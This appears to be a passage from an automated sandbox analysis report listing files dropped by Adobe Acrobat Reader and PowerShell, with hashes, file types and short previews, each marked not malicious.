SSDEEP:	6:YEQXJ2HX9g5OIAWkVoZcg1vRcR0YDDoAvJfYdPeUkwRe9:YvXKX9WO9kZc0vcsGg8Ukee9
MD5:	0E7DAE766439044702B026D550CEED0C
SHA1:	5DAA85445F53B0945B94A9E37732E99AC1090A80
SHA-256:	DC5A707CAA3FE491B399B848C394F76A42B7915DC9B0A2C89D695723F1E033A7
SHA-512:	6E9181FFB7BEB4A15A2C26F16B95CF6E270EF5543935A6DB9866077CA0BEA75B236C1AEA71BD417B2F15F873EA2F9E1202CC462BE41C635F38E0310DA6921B4F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1645b26b-6248-4d52-acf2-29cd43c1ef65","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736941992382,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.297372936880949
Encrypted:	false
SSDEEP:	6:YEQXJ2HX9g5OIAWkVoZcg1vRcR0YDDoAvJf+dPeUkwRe9:YvXKX9WO9kZc0vcsG28Ukee9
MD5:	520E4AAF56850770F815CF2C90DF4DC6
SHA1:	4485C746D3F88AAEC05BD59FF82D28904345B303
SHA-256:	69D87FF5F336685B4DB5E24C2FE401503EFB8586F9D9546F7BEF9071A942D878
SHA-512:	2D0E5767C64BBEDB59842BBD8F37AE5391C1E7D89D4FAB2704089E1C581CFA108DAA4C6D3725E520FE51C402F0FD488EB7D52BDABCE80948C17C6995768B9930
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1645b26b-6248-4d52-acf2-29cd43c1ef65","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736941992382,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.294597297648068
Encrypted:	false
SSDEEP:	6:YEQXJ2HX9g5OIAWkVoZcg1vRcR0YDDoAvJfbPtdPeUkwRe9:YvXKX9WO9kZc0vcsGDV8Ukee9
MD5:	269640EF97CB68694F6B53AA62CB0AD6
SHA1:	CBEAF23147011E3A0700A7D170B97EF8547DAB64
SHA-256:	8BE079881D9E940364DCAF87DAD41883BDBE488295B32F0DDB5129E6FA445F97
SHA-512:	88A79A8CC20AE0B5AACCE712A0719CAD255ADF98BDB0A11A61FF0372159D0172D042EEE2E51FC78757C54CCA36D334E498503435F92F0F777484A109BDC91D2B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1645b26b-6248-4d52-acf2-29cd43c1ef65","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736941992382,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.299088379428939
Encrypted:	false
SSDEEP:	6:YEQXJ2HX9g5OIAWkVoZcg1vRcR0YDDoAvJf21rPeUkwRe9:YvXKX9WO9kZc0vcsG+16Ukee9
MD5:	EE1F728E049D1F8FEA68ECC47EEFFE66
SHA1:	60824E8FA262E02CA19DF1E08756C5011BA7EF12
SHA-256:	4E859B66861DA7812750949175FF65EB73C26CA6A75B7E04CF4EAA71525ACCC9
SHA-512:	578EB393D7F9F4F186D02C53281C1BC35EF4FC8C8D5A374BEAA3BB9477C3FD8EB2B776AD0C38057E97F73A703C52E0333BD99244928797F7B83F99C41EF243BF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1645b26b-6248-4d52-acf2-29cd43c1ef65","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736941992382,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.6643391509262955
Encrypted:	false
SSDEEP:	24:Yv6X9WO9kzvc5amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS0r:YvbAsWBgkDMUJUAh8cvM0r
MD5:	E430FBE24AF403808EF4002C741B6588
SHA1:	9FE583DC69DA58C7B5B8646115357BFE1E82AE0A
SHA-256:	BA772B7BC30F7B892512978DC11B28167601133CF137911EC7043D31B0D52DD0
SHA-512:	B1FD28279CC28FC9C17A6193C5A5F0600184C06E79584CF08FD07BAD4C87077A505CD11B66DFE476E51331C6C43809F4E9CD4946A95D24E4A80128D365565068
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1645b26b-6248-4d52-acf2-29cd43c1ef65","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736941992382,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.274786381497061
Encrypted:	false
SSDEEP:	6:YEQXJ2HX9g5OIAWkVoZcg1vRcR0YDDoAvJfshHHrPeUkwRe9:YvXKX9WO9kZc0vcsGUUUkee9
MD5:	B75BC36018864C458122C838ED1500F0
SHA1:	90FC2DF4D4143476A6CB6D53C7BCCB1885086ACD
SHA-256:	DDA44D3BBE44BD30BC2483B88055CE9111FCECDBA738EBB0CF90BA652F714BCF
SHA-512:	DED23D0E23D399C3462966D34B3843AB87BFE7E257158300D6A411E30CF62F3C4BF1ADF0896170FDC9E41F7167D59E0D245D23D18053114444CD99EA460A9D36
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1645b26b-6248-4d52-acf2-29cd43c1ef65","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736941992382,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.282510623603872
Encrypted:	false
SSDEEP:	6:YEQXJ2HX9g5OIAWkVoZcg1vRcR0YDDoAvJTqgFCrPeUkwRe9:YvXKX9WO9kZc0vcsGTq16Ukee9
MD5:	F7981B84088B0C286EC4756A4F8E4528
SHA1:	8627AD35BDB59E0FC1C56F309361CCC67B808CC4
SHA-256:	D7DBABB9EF867BC62625C11835EC3B5497C9F39C145A7DCDB3EFEB42EAE8EF60
SHA-512:	8288C46838BDD5354EB8B77E4A1618D48875C25DEE150DC9620BF6865FEACF01794127FD7403D44EB737F7C7A42B1D31FD2E1394174953DD99C9B2EA8FB7E987
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1645b26b-6248-4d52-acf2-29cd43c1ef65","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736941992382,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.12638568198596
Encrypted:	false
SSDEEP:	48:Y8aQ+ZvybIOTCGBvLIRrwB46PaP1F5nN0Ah2eh9cUtX:8QwvybIOTCGBvLI1J6iN3nN0Ah9/cUF
MD5:	6587B9308A4383AA9F2EE2A0386FDF7A
SHA1:	376F75077D2FB0EE1DE2BFFD02AE05328ABE41C0
SHA-256:	2E082356EF91147BA9138FBDEE7FA75D9E8E6E541196B476D1CB2D865EBF6543
SHA-512:	91D87CB34FD980D983DE7545C820A9C41D6267742EEC4D92402982E4B21781BE013DDCA6C4C22DB6C768E9B27C0EF75A9C6A89B297B3E6F92CA7B2C2F1211119
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"50c25e868d22f7580eaa88095fa33628","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736768832000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"91a048fecec0ecd8332c6a01d661d667","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736768832000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"aa9b01ee06870c081b38b4e9a81ed9ff","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736768832000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"6559c9f79cb346918c60c99f3e788c78","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736768832000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"8d309389b42bd387e3dd45381d34de0a","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736768832000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"cbd387ae572e5e3812e97206e4e2dbb9","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.188845652360451
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUUKSvR9H9vxFGiDIAEkGVvpg:lNVmswUUUUUUUUK+FGSIts
MD5:	98BAB43050821A767AD4F61D5252168C
SHA1:	7DA2E280FDA516AE97A637833E8D361F46058159
SHA-256:	E3C5C51E73E86580F408204373BDE2D494E625DE9236AD30279D821967987D5A
SHA-512:	09B1AD3C0D86800EE513512EBE10E89FDD2531E07584D30AE1989B71A558BF3B6F4A6162537741026E1DB853DF9DDA41E75562476E72713B9445DAC2F23CCCDD
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.6073494798919417
Encrypted:	false
SSDEEP:	48:7MYBKUUUUUUUUUUovR9H9vxFGiDIAEkGVvwqFl2GL7msy:7bUUUUUUUUUUUAFGSItqKVmsy
MD5:	A577C6605877AE242C02FC190825CAB4
SHA1:	3C60911B0F654DC88FB0FECEEF616411D6E0C4B7
SHA-256:	2F2CA0EE147C7CA177A1ED7F0C7D356874439748C3CB18824F9CDDAD2E95B3EE
SHA-512:	45C626880CFDEE8C10F71921FE53A97D175DC1465D07DF152330F03CB785FCBC65B42C642BF95F786F4D7D79A64C6AC8C52152025A4153CC5C3F752FBA99F2AA
Malicious:	false
Preview:	.... .c......9........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEg6MeO2IwFKM/oRI0FAkaon0cevC9Yyu:6a6TZ44ADE6MV2IwFKMRRnv+K
MD5:	1389D78AFDD31537067296DD960A1345
SHA1:	48E13F961A53DA7B6DF4361A61D349A36EAC6CDC
SHA-256:	5AC8F1ED3D98E27B3B4BC49CA5598B20E91AEF7B3DC0C364E6D5C008918B280C
SHA-512:	9D13CC55183150A9C65839731E4E24DF6AD4F8DBA12218A3F9F5EB6DAB974DCD2A50DCF30F71ABC59ED921D1B7F84449CC5A94493479E375842CD1989D3F929C
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul/nq/llh:NllUyt
MD5:	AB80AD9A08E5B16132325DF5584B2CBE
SHA1:	F7411B7A5826EE6B139EBF40A7BEE999320EF923
SHA-256:	5FBE5D71CECADD2A3D66721019E68DD78C755AA39991A629AE81C77B531733A4
SHA-512:	9DE2FB33C0EA36E1E174850AD894659D6B842CD624C1A543B2D391C8EBC74719F47FA88D0C4493EA820611260364C979C9CDF16AF1C517132332423CA0CB7654
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIe5d18.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.529459928009153
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K84jCl68DYle:Qw946cPbiOxDlbYnuRKTjdXw
MD5:	ECA092854103740E48D85A7203D54EF7
SHA1:	9933ECA61920689E539FE7E41DA61609C8BE09FA
SHA-256:	45A74CE846C1FD65E785B3ACCF6379B897C7DD08DEC9B890DC2D216C07C27EEF
SHA-512:	B302A5E2522DBD9EC7C5D6316576FFE781AFACC0D136354794C4BDCBE863C42CBB7428CC539CBA0CF7154F7B3BB7DB98305D91126EA80BFE9E8779BA7A862FEA
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.3./.0.1./.2.0.2.5. . .0.6.:.4.7.:.1.6. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0u3dkb2i.dos.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2nkmd031.wez.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-13 06-47-08-461.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.354487021942275
Encrypted:	false
SSDEEP:	384:ZwEZEEtUfJgo9hoQtrL0ukZ8UHFEH/TuTQnBj3h00u+lfI+jpjnjOjAxjCnCrmkW:g2n
MD5:	65907DD5603F4855A3D8A7F980F22333
SHA1:	A4ADD0482F304270053E41643D29AF5C7CC31EBA
SHA-256:	31BD5937AF49EE29985643A6399F8F431D379BB657D3CD33996B6059C6CAD9AC
SHA-512:	4A9DDBED9B60FF5CD84F5B74DA7756514949313F0FF35377CFD7267D4112D4E4F7D26F1B0886CEE8A9BDDB5FD4C2BFA3886D3C419CA5937E312425A6F094C4F2
Malicious:	false
Preview:	SessionID=ed2e59af-1548-4333-b12c-e26357d05504.1736768828474 Timestamp=2025-01-13T06:47:08:474-0500 ThreadID=7976 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=ed2e59af-1548-4333-b12c-e26357d05504.1736768828474 Timestamp=2025-01-13T06:47:08:477-0500 ThreadID=7976 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=ed2e59af-1548-4333-b12c-e26357d05504.1736768828474 Timestamp=2025-01-13T06:47:08:477-0500 ThreadID=7976 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=ed2e59af-1548-4333-b12c-e26357d05504.1736768828474 Timestamp=2025-01-13T06:47:08:477-0500 ThreadID=7976 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=ed2e59af-1548-4333-b12c-e26357d05504.1736768828474 Timestamp=2025-01-13T06:47:08:477-0500 ThreadID=7976 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.395827937854367
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2rm:6
MD5:	16DE7460D576EF0702570C050A17040C
SHA1:	9BFB183020D965C9E4D16DA2E0D2597CB7A37DE4
SHA-256:	7051B1563ECBD30B03A6F82AE795DF30066D8DE3D3C9B7D68E0C94643AAF5ADC
SHA-512:	0448C85952A2023B970A4038526F703636DBFC1D722C1C58F62979A509E60AE76E9A861BE9444AE640C6A6E2783D41F7DFBD660EF27864B00D7622E85F10D784
Malicious:	false
Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\291692d9-31d0-455e-bf25-09a8b2a271de.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\56932e46-682f-40ab-a743-2e8a7bbebce6.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
